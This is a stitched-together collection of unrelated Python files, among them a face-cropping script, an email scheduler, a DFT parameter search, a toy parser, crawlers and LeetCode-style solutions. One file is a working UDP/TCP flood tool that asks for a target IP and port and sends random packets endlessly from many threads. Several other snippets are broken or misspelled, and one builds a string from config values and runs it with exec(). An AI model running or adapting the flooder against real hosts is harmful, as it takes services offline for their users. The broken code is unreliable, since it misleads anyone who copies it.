        ax.pie(val, colors=colors, pctdistance=0.85, explode=explode)
        ax.text(-1.05, 1.1,
                f"N {int(val[2]/(0.5*np.sum(val)+1e-7)*1000)/10}%", color='white', fontsize=14)
        #ax.text(-0.1, 1.1, f"U {int(val[1]/(0.5*np.sum(val)+1e-7)*1000)/10}%", color='white', fontsize=19)
        ax.text(
            0.65, 1.1, f"S {int(val[0]/(0.5*np.sum(val)+1e-7)*1000)/10}%", color='white', fontsize=14)
        ax.add_artist(plt.Circle((0, 0), 0.6, color=self.back_color))

        return fig


N = int(input())
N_list = []
for i in range(1, N+1):
    N_list.append(i)
for num in N_list:
    if num % 3 == 0:
        num = '-'
        while int(num) > 10:
            num = (num // 3) % 3
            num = '--'
        continue
    else:
        num = num
print(N_list)


import sys,os,cv2
# author TELILS

# 处理不同格式的外源图片
def dispose():
    input_path=r'D:\FaceData\data\face_source'
    output_dir=r'D:\FaceData\data\train\otherFace'

    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    # 获取分类器
    haar = cv2.CascadeClassifier(r'C:\Users\ASUS\Anaconda3\envs\tensorflow\Lib\site-packages\cv2\data\haarcascade_frontalface_default.xml')

    index=1
    # 返回路径，文件夹名称，文件名称
    for (path,dirnames,filenames) in os.walk(input_path):
        for filename in filenames:
            if filename.endswith('.bmp') or filename.endswith('.jpg') or filename.endswith('.gif'):
            # if filename.endswith('.gif'):
                print('being processed picture %s'% str(index))
                img_path=path+'/'+filename

                # 从文件中读取图片
                img=cv2.imread(img_path)
                # 转为灰度图片
                # gray_img=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
                # 使用haar进行人脸检测
                faces=haar.detectMultiScale(img,1.3,5)
                if len(faces) != 0:
                    for f_x,f_y,f_w,f_h in faces:
                        face = img[f_y:f_y+f_h,f_x:f_x+f_w]
                        # 统一保存为64*64格式
                        f = cv2.resize(face,(64,64))

                # cv2.imshow('img',face)

            # image = relight(gray_img,random.uniform(0.5,1.5),random.randint(-50,50))
                if type(f) == None:
                    pass
                else :
                    cv2.imwrite(output_dir+'/'+'oth'+str(index)+'.jpg',f)
                    index = index + 1
                    if index == 10000:
                        sys.exit(0)
                        key=cv2.waitKey(30)&0xff
                        if key == 27:
                            sys.exit(0)

if __name__ == "__main__":
    dispose()


import time
import schedule
import sys
import yaml
import socket

sys.path.append(".")
from Client import client as client
import Server.Receive.supplier_emails as emails

# Read config file
def runSchedule():
    with open("config.yml", 'r') as cfg:
        config = yaml.load(cfg, Loader=yaml.FullLoader)
    ipaddr = socket.gethostbyname(socket.gethostname())

    # Schedule Email Downloads
    freq = config['email']['frequency']
    print("Downloading emails every",freq,"minutes")
    schedule.every(freq).minutes.do(emails.download)

    for s in config['suppliers']:
        if config['suppliers'][s]['enabled'] is True:
            print(s)
            # Loop through days
            for day in config['suppliers'][s]['days']:
                if config['suppliers'][s]['days'][day]['enabled'] is True:
                    if config['suppliers'][s]['days'][day]['times'] is not None:
                        for schedtime in config['suppliers'][s]['days'][day]['times']:
                            print("\t", day, " @", schedtime)
                            dests = config['suppliers'][s]['days'][day]['times'][schedtime][0]
                            opts = config['suppliers'][s]['days'][day]['times'][schedtime][1]
                            schedStr = "schedule.every()."+day+".at('"+schedtime+"').do(client.runClient, ipaddr='"+ipaddr+"', args='RUN sup=["+s+"] dest=["+dests+"] opt=["+opts+"]')"
                            exec(schedStr)

    while True:
        schedule.run_pending()
        time.sleep(1)


#NgabOwi
#ToolsSakti

import random
import socket
import threading
import os

#Color
yellow='\033[93m'
gren='\033[92m'
cyan='\033[96m'
pink='\033[95m'
red='\033[91m'
ly= '\033[35m'

os.system("clear")
print(ly+"██████████████████████████████")
print("×                                                                                × ")
print("( + ) Author       : 𝗡𝗚𝗔𝗕 𝗢𝗪𝗜 ")
print("( + ) Community     : Cyber Team Indo")
print("( + ) Github        : https://github.com/NGABxOWI")
print("×                                                                                × ")
print("██████████████████████████████")

ip = str(input(red+" IP TARGET : "))
port = int(input(red+" PORT TARGET : "))
choice = str(input(red+" ATTACK ? (y/n) : "))
times = int(input(red+" PACKETS : "))
threads = int(input(red+" THREADS : "))
def run():
  data = random._urandom(1024)
  i = random.choice(("[***]","[^^^]","[!!!]"))
  while True:
    try:
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      addr = (str(ip),int(port))
      for x in range(times):
        s.sendto(data,addr)
      print(cyan+"[ × ]  𝗡𝗴𝗮𝗯 𝗢𝘄𝗼 KIRIM KE =",red+ip,":",port)
    except:
      print(cyan+"[ × ]  𝗡𝗴𝗮𝗯 𝗢𝘄𝗼 KIRIM KE =",red+ip,":",port)

def run2():
  data = random._urandom(16)
  i = random.choice(("[T***]","[^^^]","[!!!]"))
  while True:
    try:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((ip,port))
      s.send(data)
      for x in range(times):
        s.send(data)
      print(cyan+"[ × ]  𝗡𝗴𝗮𝗯 𝗢𝘄𝗼 KIRIM KE =",red+ip,":",port)

    except:
      s.close()
      print("[ × ]  𝗡𝗴𝗮𝗯 𝗢𝘄𝗼 KIRIM KE =",red+ip,":",port)

for y in range(threads):
  if choice == 'y':
    th = threading.Thread(target = run)
    th.start()
  else:
    th = threading.Thread(target = run2)
    th.start()


from src.textToDialogBubble import *
from src.followPonyPos import *

class ScreenCenterDialogBox(textToDialogBubble):
	'屏幕中下方的对话框'

	def __init__(self, s, parent=None, **kwargs):
		# 调用父类初始化函数
		textToDialogBubble.__init__(self, s, './img/parchment/DialogDownPointer.png', './img/parchment/Dialog.png')

		self.initPos()

	def initPos(self):
		screen = QDesktopWidget().screenGeometry()  # QDesktopWidget为一个类，调用screenGeometry函数获得屏幕的尺寸
		x = screen.width()/2 - self.size.width()/2
		y = screen.height() - cfg.BUTTOM_OFFSET
		self.move(int(x), int(y)) # 调用move移动到指定位置

	def mousePressEvent(self, event):		# 鼠标左键按下时, 换页
		if event.button() == Qt.LeftButton:
			if self.currentPage < len(self.textPages) - 1:
				self.currentPage += 1
				self.update()
			else:
				self.currentPage = 0
				self.close()
			event.accept()

''''''

class OverheadDialogBox(textToDialogBubble_WithFadeOut, followPonyPos):
	'头顶对话框'

	def __init__(self, s, textBox_NormalPage_Path : str, textBox_LastPage_Path : str, parent=None, **kwargs):
		# 调用父类初始化函数
		textToDialogBubble_WithFadeOut.__init__(self, s, textBox_NormalPage_Path, textBox_LastPage_Path)
		followPonyPos.__init__(self)

		self.BUBBLE_OFFSET = [-85, -90]	# 对话框相对于当前姿势有效图片左上角x, y轴的偏移像素

	def paintEvent(self, event):	# 绘制窗口
		x, y = self.moveToPos()
		self.move(x, y)

		self.paintTextBox()

''''''

class Pony_OverheadDialogBox(OverheadDialogBox):
	'跟踪小马头顶对话框'

	def __init__(self, s, textBox_NormalPage_Path : str, textBox_LastPage_Path : str, parent=None, **kwargs):
		# 调用父类初始化函数
		OverheadDialogBox.__init__(self, s, textBox_NormalPage_Path, textBox_LastPage_Path)

	def getData(self):
		data = open('./temp/ponyPos.txt', 'r').readlines()
		if data != []:
			self.posX = int(data[0])
			self.posY = int(data[1])
			self.running_action = str(data[2][:-1])	# 字符串有\n结尾
			self.actualAction = int(data[3])
			self.mirrored = True if str(data[4][:-1]) == 'True' else False	# str无法直接转bool, 要用判断式
			self.picNum = int(data[5])

''''''

class TV_OverheadDialogBox(OverheadDialogBox):
	'跟踪小电视头顶对话框'

	def __init__(self, s, textBox_NormalPage_Path : str, textBox_LastPage_Path : str, parent=None, **kwargs):
		# 调用父类初始化函数
		OverheadDialogBox.__init__(self, s, textBox_NormalPage_Path, textBox_LastPage_Path)

		self.BUBBLE_OFFSET = [-80, -80]	# 对话框相对于当前姿势有效图片左上角x, y轴的偏移像素

	def moveToPos(self):
		x = self.BUBBLE_OFFSET[0]
		y = self.BUBBLE_OFFSET[1]

		x += self.posX
		y += self.posY

		return x, y

	def getData(self, posX, posY):
		self.posX = posX	# 主窗口坐标
		self.posY = posY	# 主窗口坐标


# Binary Seach Again

list = [6, 7, 8, 2, 3, 5, 9]

print(list)

list.sort()

print(list)

n = len(list)

x = 9

left = 0

right = n - 1

while left <= right:

    mid = (left + right) // 2

    if list[mid] == x:

        print("Found Sorted index at : ", mid)

        break

    if list[mid] < x:

        left = left + 1

    else:

        right -= 1


import sys
import time
import random
import pickle
import itertools
import logging
import argparse
import uuid
from math import exp
from multiprocessing import Pool
from utils import format_xyz, tmer2_gmtkn_parser, get_charges_multiplicities
from plots import learning_curve, shap_analysis
from hyperopt import hp, Trials, fmin, tpe, STATUS_OK
from hyperopt.pyll import scope
from pyscf import dft
from pyscf import gto

def calc_E(params, geom, basis, charge, multiplicity, tmp_id):

    mol = gto.M(atom=geom, basis=basis, charge=charge, spin=multiplicity)
    mr = dft.UKS(mol)
    mr.init_guess = tmp_id
    mr.max_cycle = 1000
    mr.xc = '{}*SR_HF({}) + {}*LR_HF({}) + {}*XC_LDA_X + ' \
            '{}*XC_GGA_X_B88 + {}*XC_GGA_X_PBE + {}*XC_GGA_X_B86 + ' \
            '{}*XC_GGA_X_PW91 + {}*XC_GGA_X_SOGGA, {}*XC_LDA_C_XALPHA + ' \
            '{}*XC_LDA_C_VWN + {}*XC_LDA_C_RPA + {}*XC_GGA_C_PBE + ' \
            '{}*XC_GGA_C_PW91 + {}*XC_GGA_C_LYP'.format(
        params['param_00'], params['param_01'], params['param_02'],
        params['param_01'], params['param_03'], params['param_04'],
        params['param_05'], params['param_06'], params['param_07'],
        params['param_08'], params['param_09'], params['param_10'],
        params['param_11'], params['param_12'], params['param_13'],
        params['param_14'], params['param_15'],
    )

    E = mr.kernel()

    return E

def calc_mol(geom, params, charge, multiplicity):
    tmp_id = 'tmp/' + str(uuid.uuid4())

    mol = gto.M(atom=geom, basis='ccpvdz', charge=charge, spin=multiplicity)
    mf = dft.UKS(mol)
    mf.xc = 'PBE'
    mf.chkfile = tmp_id
    mf.kernel()

    basis2 = 'augccpvdz'
    basis3 = 'augccpvtz'

    E2 = calc_E(params, geom, basis2, charge, multiplicity, tmp_id)
    E3 = calc_E(params, geom, basis3, charge, multiplicity, tmp_id)

    if E3 < E2:
        E_total = E3 - 0.42*(E2 - E3)
        logging.info('D-zeta E = {0:7.2f}, T-zeta E = {1:7.2f}, CBS E = {2:7.2f}'.format(E2, E3, E_total))

    else:
        logging.warning("No CBS here")
        E_total = E2

    return E_total

def calc_reaction(list_of_geoms, list_of_coefficients, E_real, charges, multiplicities, reaction, params):

    E = 0
    pool = Pool(4)
    list_of_energies = list(pool.starmap(
        calc_mol, zip(list_of_geoms, itertools.repeat(params), charges, multiplicities)))
    pool.close()
    pool.join()

    for i in range(len(list_of_energies)):
        E += list_of_coefficients[i] * list_of_energies[i]

    dE = abs(E - E_real)

    logging.info("Reaction: {}".format(reaction))
    logging.info("Calculated value: {:.4f}".format(E))
    logging.info("Reference value: {:.4f}".format(E_real))

    return dE, reaction

def hyperopt_search(dataset, param_grid, n_iter, sample, trials_init):

    if trials_init:
        with open(trials_init, 'rb') as f:
            trials = pickle.load(f)
            n_trials_init = len(trials.trials)
    else:
        trials = Trials()
        n_trials_init = 0

    def objective(params):
        all_data = tmer2_gmtkn_parser("datasets/{}".format(dataset))
        sampled_data = random.sample(all_data, sample)
        sampled_systems = [k["atoms"] for k in sampled_data]
        sampled_stoichiometry = [k["stoichiometry"] for k in sampled_data]
        sampled_reference_value = [k["reference_value"] / 627.509 for k in sampled_data]
        sampled_charges = [k["charges"] for k in sampled_data]
        sampled_multiplicities = [k["multiplicities"] for k in sampled_data]
        sampled_reactions = [k["reaction"] for k in sampled_data]

        logging.info("New iteration...")
        start = time.time()

        losses = []
        reactions = []

        for syst, stoich, ref_v, charges, multi, reacs in zip(sampled_systems, sampled_stoichiometry,
                                                              sampled_reference_value, sampled_charges,
                                                              sampled_multiplicities, sampled_reactions):
            output = calc_reaction(syst, stoich, ref_v, charges, multi, reacs, params)
            losses.append(output[0])
            reactions.append(output[1])

        reactions_losses = dict(zip(reactions, losses))

        logging.info("Total loss: {:.4f}".format(sum(losses)))
        logging.info("Iteration took {:.1f} s\n".format(time.time() - start))

        return {'loss': sum(losses) / sample, 'params': params, 'reactions_losses': reactions_losses, 'status': STATUS_OK}

    current_time = time.strftime("%Y_%m_%d__%H_%M_%S", time.localtime())
    trials_filename = "{0}_{1}_iters_{2}_in_batch_{3}.pickle".format(dataset, n_iter, sample, current_time)

    for n in range(n_trials_init + 1, n_iter + 1):
        try:
            fmin(objective, param_grid, algo=tpe.suggest, trials=trials, max_evals=n)
            with open(trials_filename, 'wb') as f:
                pickle.dump(trials, f)
        except IndexError as err:
            print(err)
            with open(trials_filename, 'rb') as f:
                trials = pickle.load(f)

    return trials_filename

HYPERPARAMETERS = {
    'param_00': hp.uniform('param_00', 0.0, 1.0),
    'param_01': hp.uniform('param_01', 0.0, 1.0),
    'param_02': hp.uniform('param_02', 0.0, 1.0),
    'param_03': hp.uniform('param_03', -1.0, 1.0),
    'param_04': hp.uniform('param_04', -1.0, 1.0),
    'param_05': hp.uniform('param_05', -1.0, 1.0),
    'param_06': hp.uniform('param_06', -1.0, 1.0),
    'param_07': hp.uniform('param_07', -1.0, 1.0),
    'param_08': hp.uniform('param_08', -1.0, 1.0),
    'param_09': hp.uniform('param_09', -1.0, 1.0),
    'param_10': hp.uniform('param_10', -1.0, 1.0),
    'param_11': hp.uniform('param_11', 0.0, 1.0),
    'param_12': hp.uniform('param_12', -1.0, 1.0),
    'param_13': hp.uniform('param_13', -1.0, 1.0),
    'param_14': hp.uniform('param_14', -1.0, 1.0),
    'param_15': hp.uniform('param_15', -1.0, 1.0),
}

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('dataset', type=str)
    parser.add_argument('-i', '--iters', type=int, default=100)
    parser.add_argument('-b', '--batch', type=int, default=1)
    parser.add_argument('-t', '--trials', default=None)
    args = parser.parse_args()

    logfile = "{0}_{1}_iters_{2}_in_batch_{3}.log".format(
        args.dataset, args.iters, args.batch, time.strftime("%Y_%m_%d__%H_%M_%S", time.localtime()))

    logging.basicConfig(
        filename=logfile, filemode='w', format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
        level=logging.INFO
    )

    trials_filename = hyperopt_search(args.dataset, HYPERPARAMETERS, args.iters, args.batch, args.trials)
    learning_curve(trials_filename, title=args.dataset)
    shap_analysis(trials_filename, title=args.dataset)


"""
Parser which works with tokens
"""
import sys

from lexer import Lexer, TokenType

class Parser:

    def __init__(self, tokens):
        self.tokens = tokens
        self.pos = 0

    def match(self, expectedTypes):
        if self.pos < len(self.tokens):
            token = self.tokens[self.pos]
            if token.type in expectedTypes:
                self.pos += 1
                return True

        return False

    def expr(self):
        e1 = self.slag()
        while self.match([TokenType.ADD, TokenType.SUB]):
            op = self.tokens[self.pos-1]
            e2 = self.slag()
            e1 = BinOpNode(op.text, e1, e2)

        return e1

    def logic_expr(self):
        e1 = self.expr()
        while self.match([TokenType.MORE, TokenType.LESS, TokenType.EMORE, TokenType.ELESS]):
            op = self.tokens[self.pos-1]
            e2 = self.expr()
            e1 = BinOpNode(op.text, e1, e2)

        return e1

    def statement(self):
        list = []

        while self.match([TokenType.PRINT, TokenType.ID, TokenType.IF]):
            statement = self.tokens[self.pos-1]

            if statement.type == TokenType.PRINT:
                expr = self.expr()

                node = StatementNode(statement, expr)
            elif statement.type == TokenType.ID:
                self.require([TokenType.ASSIGN])
                expr = self.expr()

                node = StatementNode(statement, expr)
            elif statement.type == TokenType.IF:
                expr = self.logic_expr()
                self.require([TokenType.THEN])

                node = StatementNode(statement, expr)
                node.s_then = self.statement()

                if self.match([TokenType.ELSE]):
                    node.s_else = self.statement()

                self.require([TokenType.END])

            list.append(node)

            self.require([TokenType.SEMICOLON])

        return list

    def mnog(self):
        if self.match([TokenType.LPAR]):
            e = self.expr()
            self.require([TokenType.RPAR])
            return e
        else:
            e = self.require([TokenType.NUMBER, TokenType.ID])
            if e.type == TokenType.ID:
                e = VarNode(e.text)
            else:
                e = NumberNode(e.text)
            return e

    def slag(self):
        e1 = self.mnog()
        while self.match([TokenType.MUL, TokenType.DIV]):
            op = self.tokens[self.pos-1]
            e2 = self.mnog()

            e1 = BinOpNode(op.text, e1, e2)

        return e1

    def require(self, expecteds):
        if not self.match(expecteds):

            if not isinstance(expecteds[0].value, str):
                value = expecteds[0].value[0]
            else:
                value = expecteds[0].value
            self.error("Ожидалось {}".format(value))
        return self.tokens[self.pos-1]

    def error(self, msg):
        print(self.tokens[self.pos-1].text)
        raise Exception(
            "{} в строке {} на позиции {}"
                .format(
                    msg, self.tokens[self.pos-1].line+1,
                    len(self.tokens[self.pos-1].text)+self.tokens[self.pos-1].pos_in_line-1
                )
            )

    def runtime_error(self, msg):
        raise Exception(msg)

# элементы AST

class NumberNode:
    #number;
    def __init__(self, number):
        self.number = number

class VarNode:
    #id
    def __init__(self, var):
        self.var = var

class BinOpNode:
    #op
    #left
    #right
    def __init__(self, op, left, right):
        self.op = op
        self.left = left
        self.right = right

class StatementNode:
    #statement;
    def __init__(self, statement, ast):
        self.statement = statement
        self.expr = ast
        self.s_then = []
        self.s_else = []

    def append(self, statement):
        self.list.append(statement)


from collections import deque

def check():
    for i in range(N):
        for j in range(M):
            if arr[i][j] == 2:
                return (i, j)

def BFS(sr, sc):
    q = deque([(sr, sc)])

    while q:
        r, c = q.popleft()

        for dr, dc in ((1, 0), (-1, 0), (0, -1), (0, 1)):
            nr = r + dr
            nc = c + dc

            if 0 <= nr < N and 0 <= nc < M and arr[nr][nc] != 1 and visited[nr][nc] == -1 :
                if arr[nr][nc] == 0:
                    visited[nr][nc] = visited[r][c] + 1
                    q.append((nr, nc))

                elif arr[nr][nc] > 2:
                    print('TAK')
                    print(visited[r][c] + 1)
                    return
    print('NIE')
    return

N, M = map(int, input().split())

arr = [list(map(int, input())) for _ in range(N)]
visited = [[-1]*M for _ in range(N)]

i, j = check()
visited[i][j] = 0
BFS(i, j)


class Person:
    def __init__(self,first_name,last_name):
        self.first_name=first_name
        self.last_name=last_name

class Customer(Person):
    def __init__(self,first_name,last_name,account_number,balance=0):
        super().__init__(first_name,last_name)
        self.account_number=account_number
        self.balance=balance

    def __str__(self):
        return f"the person {self.first_name} {self.last_name} has {self.account_number} and {self.balance} of balance"

    def deposite(self,cash):
        self.balance+=cash
        return self.balance

    def withdraw(self,cash):
        if self.balance>=cash:
            self.balance-=cash
            return self.balance
        else:
            print("insufficient balance")

def create_client():
       first=input("digit the first name: ")
       last=input("digit the last name: ")
       account_number=input("digit the account number: ")
       client=Customer(first,last,account_number)
       return client

def start():
    mode=False
    cliente=create_client()
    while not mode:
        print("do you want make a deposit or withdraw? ")
        answer=input()
        if answer=="deposit":
            print("how much cash do you want")
            cash = int(input())
            cliente.deposite(cash)
            print(str(cliente))
        elif answer=="withdraw":
            print("how much cash do you want")
            cash = int(input())
            cliente.withdraw(cash)
            print(str(cliente))
        elif answer=='exit':
            mode=True
        else:
            print("invalid answer")

start()


import sys

import requests
from bs4 import BeautifulSoup

print_links = set()
crawled_links = set()

jsc_news_home_url = 'http://www.aljazeera.net/news/'

# the default recursion limit is 1000. It is a guard against a stack overflow
# sys.setrecursionlimit(1500) # doing so is dangerous.

def crawl_links(web_url, stop=1000):
    sys.stdout.write("\rprint_links: {0}\t crawled_links: {1}".format(len(print_links), len(crawled_links)))
    if len(print_links) > stop:
        return
    else:
        html_doc = requests.get(web_url).text
        soup = BeautifulSoup(html_doc, 'html.parser')
        links = soup.find_all('a')
        for link in links:
            my_link = str(link.get('href'))
            if 'home/print/' in my_link:
                print_links.add(my_link)
            elif my_link.startswith('/news/') or my_link.startswith('http://www.aljazeera.net/news/'):
                if not my_link.startswith('http://www.aljazeera.net'):
                    target_link = 'http://www.aljazeera.net' + my_link
                    target_link = target_link.strip()
                else:
                    target_link = my_link
                if target_link not in crawled_links:
                    # print('\ncrawling {}'.format(target_link))
                    crawled_links.add(target_link)
                    crawl_links(target_link)

if __name__ == '__main__':
    try:
        crawl_links(jsc_news_home_url)
    except Exception as err:
        print('\nerror: {}'.format(err))
    finally:
        print('\nwriting urls')
        url_writer = open('jsc_urls.txt', mode='w')
        url_writer.write('\n'.join(print_links))


import argparse
import os
import logging
from train import train
from self_train_pf import self_train_pf, reshape_text, calculate_score
os.environ["TOKENIZERS_PARALLELISM"] = "false"

import torch
import numpy as np
import random
from LoadData import load_ce_data, load_self_train_data, my_data_set, self_train_my_data_set
from torch.utils.data import Dataset, DataLoader, random_split
from models.main_model import Multimodel
from tqdm import  tqdm
import opts
os.environ["CUDA_VISIBLE_DEVICES"] = '0'

def eval(opt):
    device = opt.device
    model_s = Multimodel(device, opt).to(device)
    model_s.load_state_dict(torch.load(opt.trained_model_path))
    model_s.eval()

    _, _, test_data = load_ce_data(opt.img_feature_path, opt.text_comment_file, opt.com_num_use)
    test_set = my_data_set(test_data, opt)
    test_loader = DataLoader(test_set, batch_size=opt.ce_batch_size, shuffle=False, num_workers=4, )

    with torch.no_grad():
        predict_all = []
        label_all = []
        for val_text, val_image_feature, val_attribute, val_ret_coms, val_ret_texts, val_group, val_id in tqdm(
                test_loader):
            val_ret_coms_new = reshape_text(val_ret_coms, opt.com_num_use)

            val_group = val_group.view(-1).to(torch.int64).to(device)
            val_pred = model_s(val_text, val_image_feature.to(device),
                               val_attribute, val_ret_coms_new)

            # calculate the score
            predict_all.extend(val_pred.argmax(dim=1).detach().cpu().numpy())
            label_all.extend(val_group.detach().cpu().numpy())
    predict_all = np.vstack(predict_all)
    label_all = np.stack(label_all)
    precision, recall, fscore, acc = calculate_score(predict_all, label_all)

    print("test results: test_f1=%.4f test_pre=%.4f test_rec=%.4f test_acc=%.4f" % (
        fscore, precision, recall, acc))

if __name__=="__main__":
    opt = opts.parse_opt()
    opt.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

    modes = ['ce', 'self']

    for mode in modes:
        print('mode: {}'.format(mode))
        if mode == 'ce':
            opt.trained_model_path = './save/ce_save/model_best.pth'
        if mode == 'self':
            opt.trained_model_path = './save/selftrain_save/model_best_0.pth'
        eval(opt)


from PPlay.window import *
from PPlay.gameimage import *
from PPlay.sprite import *
from PPlay.mouse import *
from PPlay.collision import *
from PPlay.keyboard import *
from Auxiliares.paranaue_plataforma import *
from Auxiliares.rank_pa import *
def Menu():

	nome = input("Digite o seu nome (sem espaços): ")

	size = 1000
	janela = Window(size,700)
	mouse = Window.get_mouse()
	keyboard = Window.get_keyboard()
	dificuldade = 1

	mouse = Window.get_mouse()
	keyboard = Window.get_keyboard()

	fundo = GameImage("Imagens/fundo_menu.png")
	botao1 = Sprite("Imagens/jogar_pa.png")
	botao2 = Sprite("Imagens/rank_pa.png")
	botao4 = Sprite("Imagens/sair_pa.png")
	logo = Sprite("Imagens/logo.png")

	logo.set_position(size/7, size*(3/100))
	botao1.set_position(size/2.9,size*(30/100))
	botao2.set_position(size/2.9,size*(45 /100)-10)
	botao4.set_position(size/2.9,size*(58/100))

	fundo.draw()
	botao1.draw()
	botao2.draw()
	botao4.draw()
	logo.draw()
	janela.update()

	while True:

		if mouse.is_over_object(botao1) and mouse.is_button_pressed(1):
			plataforma(janela,nome)
		if mouse.is_over_object(botao2) and mouse.is_button_pressed(1):
			rank(janela)

		if mouse.is_over_object(botao4) and mouse.is_button_pressed(1):
			janela.close()

		fundo.draw()
		botao1.draw()
		botao2.draw()
		botao4.draw()
		logo.draw()
		janela.update()

		janela.update()


import re

def is_abba(string):
    for i in range(len(string)-3):
        if string[i] != string[i+1] and string[i+1] == string[i+2] and string[i] == string[i+3]:
            return True
    return False

def find_aba(string):
    res = []
    for i in range(len(string)-2):
        if string[i] != string[i+1] and string[i] == string[i+2]:
            res.append(string[i:i+3])
    return res

def check_aba_bab(abalist, bablist):
    for aba in abalist:
        for bab in bablist:
            if aba[0] == bab[1] and aba[1] == bab[0]:
                return True
    return False

count = 0
for line in open("inputs/7"):
    hypernet = re.findall(r"\[(.*?)\]", line)
    strings = [s.split(']')[-1] for s in line.split('[')]
    hyperABBA = False
    stringABBA = False
    for hyper in hypernet:
        if is_abba(hyper):
            hyperABBA = True
            break
    if hyperABBA:
        continue
    for string in strings:
        if stringABBA:
            break
        if is_abba(string):
            stringABBA = True
            count += 1
print(count)

## part 2:
count = 0
for line in open("inputs/7"):
    hypernet = re.findall(r"\[(.*?)\]", line)
    strings = [s.split(']')[-1] for s in line.split('[')]
    abalist = []
    bablist = []
    for hyper in hypernet:
        bab = find_aba(hyper)
        if bab:
            bablist.extend(bab)
    for string in strings:
        aba = find_aba(string)
        if aba:
            abalist.extend(aba)
    if abalist and bablist and check_aba_bab(abalist, bablist):
        count += 1
print(count)


class Solution(object):
    def canJump(self, nums):
        """
        :type nums: List[int]
        :rtype: bool
        """
        target = len(nums)-1
        if not target:
            return True
        maximum = 0
        for i in range(target):
            maximum = max(maximum,i+nums[i])
            if maximum >= target:
                return True
            elif i == maximum:
                return False


from django.conf.urls import url, include
from . import views
from allauth.account import views as allauth_views
# api endpoints

urlpatterns = [
    url(r"^companies/$", views.CompanyList.as_view(), name="company-list"),
    url(r"^jobs/$", views.ListingList.as_view(), name="job-list"),
    url(r"^company/(?P<pk>[0-9]+)/$", views.CompanyDetail.as_view(),
        name="company-detail"),
    url(r"job/(?P<pk>[0-9]+)/$", views.ListingDetail.as_view(),
        name="listing-detail"),

    # auth urls
    url(r'^auth/', include("rest_framework.urls",
                           namespace="rest_framework")),
    url(r'^rest-auth/', include("rest_auth.urls",
                                namespace="rest_auth")),
    url(r'^rest-auth/registration/', include('rest_auth.registration.urls',
                                             namespace="rest_auth.registration")),
]


from hgcal_quant.geo import geo_lut
import numpy as np

for celltype in geo_lut.celltype.unique():
    refcell = geo_lut[
        (geo_lut.detectorid == 8) & (geo_lut.celltype == celltype)
    ].iloc[0]
    pos = np.array([refcell[v] for v in ["x", "y", "z"]])
    for ineighbor in range(6):
        neighbor = geo_lut.loc[refcell[f"n{ineighbor}"]]
        npos = np.array([neighbor[v] for v in ["x", "y", "z"]])
        dist = np.sqrt(((pos - npos) ** 2).sum())
        print(celltype, dist)

celltype_to_dist = {0: 0.8, 1: 1.2, 2: 1.2}


import os.path
import json

STATIC_BUILD_PATH = os.path.join(os.path.dirname(__file__), "static", "build")
MANIFEST_PATH = os.path.join(STATIC_BUILD_PATH, "manifest.json")

manifest_content = {}

def read_manifest():
    if os.path.isfile(MANIFEST_PATH):
        with open(MANIFEST_PATH) as manifest_file:
            global manifest_content
            manifest_content = json.load(manifest_file)

def manifest_get_static_path(resource_name):
    """Find the public URL of a static file in production.
    Assets built by webpack for deployment have a hash component in the filename. The manifest file
    maps entrypoint filenames to filenames on disk. If a filename doesn't exist in the manifest file,
    it's just a regular static file on disk.
    """
    if resource_name not in manifest_content:
        return "/static/%s" % resource_name
    return manifest_content[resource_name]

def development_get_static_path(resource_name):
    """Find the public URL of a static file during development.
    Assets that are built with webpack during development don't have any hash components, and
    so we just look for them in the build directory.
    """
    build_path = os.path.join(STATIC_BUILD_PATH, resource_name)
    if os.path.exists(build_path):
        return "/static/build/%s" % resource_name
    else:
        return "/static/%s" % resource_name


import asyncio
from itertools import chain

from httpx import AsyncClient, Timeout
from loguru import logger

from documents import upload_documents
from scrapy import ChankedQueue, get_all_url_from_html, scrape
from config import Config
from postprocess import build_bigram_words_dictionary

def get_new_urls(paths: set[str], visited: set[str]) -> set[str]:
    return {
        f'{Config.url}{path}'
        for path in paths
        if path.startswith('/wiki/') and path not in visited
    }

async def empty_coroutine() -> None:
    return

async def run():
    visited_paths = {f'{Config.url}{Config.start_path}'}
    urls_to_process = ChankedQueue()
    urls_to_process.append((f'{Config.url}{Config.start_path}',))

    upload_documents_task = empty_coroutine()

    session = AsyncClient(timeout=Timeout(100, connect=60))

    while len(visited_paths) < Config.count_documents:

        url_chunk = urls_to_process.popleft()
        scrape_tasks = [scrape(url, session=session, throttler=Config.throttler) for url in url_chunk]
        _, *results = await asyncio.gather(upload_documents_task, *scrape_tasks)

        visited_paths.update(url_chunk)
        paths_in_results = set(
            chain.from_iterable(
                get_all_url_from_html(result.text)
                for result in results
                if result
            )
        )
        urls_to_process.extend(get_new_urls(paths_in_results, visited_paths))

        upload_documents_task = upload_documents(results)

    await upload_documents_task
    try:
        await session.aclose()
    except Exception as e:
        logger.error('Wtff {}', e)

    logger.debug('finished downloading, start build dictionary and bigrams')

    await build_bigram_words_dictionary()

    logger.debug("finished scraping")

if __name__ == "__main__":
    asyncio.run(run())


class Solution:
    def subdomainVisits(self, cpdomains: List[str]) -> List[str]:
        res = {}
        visits = []
        for i in cpdomains:
            doms = i.split(" ")
            hits = int(doms[0])
            addr = doms[1]
            while "." in addr:
                if addr in res:
                    res[addr] += hits
                else:
                    res[addr] = hits
                addr = addr.split(".", 1)[1]
            if addr in res:
                res[addr] += hits
            else:
                res[addr] = hits
        for key in res.keys():
            visits.append(str(res[key]) + " " + key)
        return visitsS


from django.core import mail
from django.test import TestCase, SimpleTestCase, Client

# A test case for the home page.
class HomePageTestCase(SimpleTestCase):
    # Set up the class for testing.
    @classmethod
    def setUpClass(cls):
        # Call the superclass' setUpClass() method.
        super().setUpClass()

        # Create a client object for the class to make requests.
        cls.client = Client()

    # Test get requests for the home page.
    def test_get(self):
        # Send a get request without a trailing forward slash.
        response = self.client.get('')

        # Ensure that the response has the correct status code and the proper templates were used.
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, 'lens/base.html')
        self.assertTemplateUsed(response, 'lens/home.html')

        # Send a get request with a trailing forward slash.
        response = self.client.get('/')

        # Ensure that the response has the correct status code and the proper template was rendered.
        self.assertEqual(response.status_code, 200)
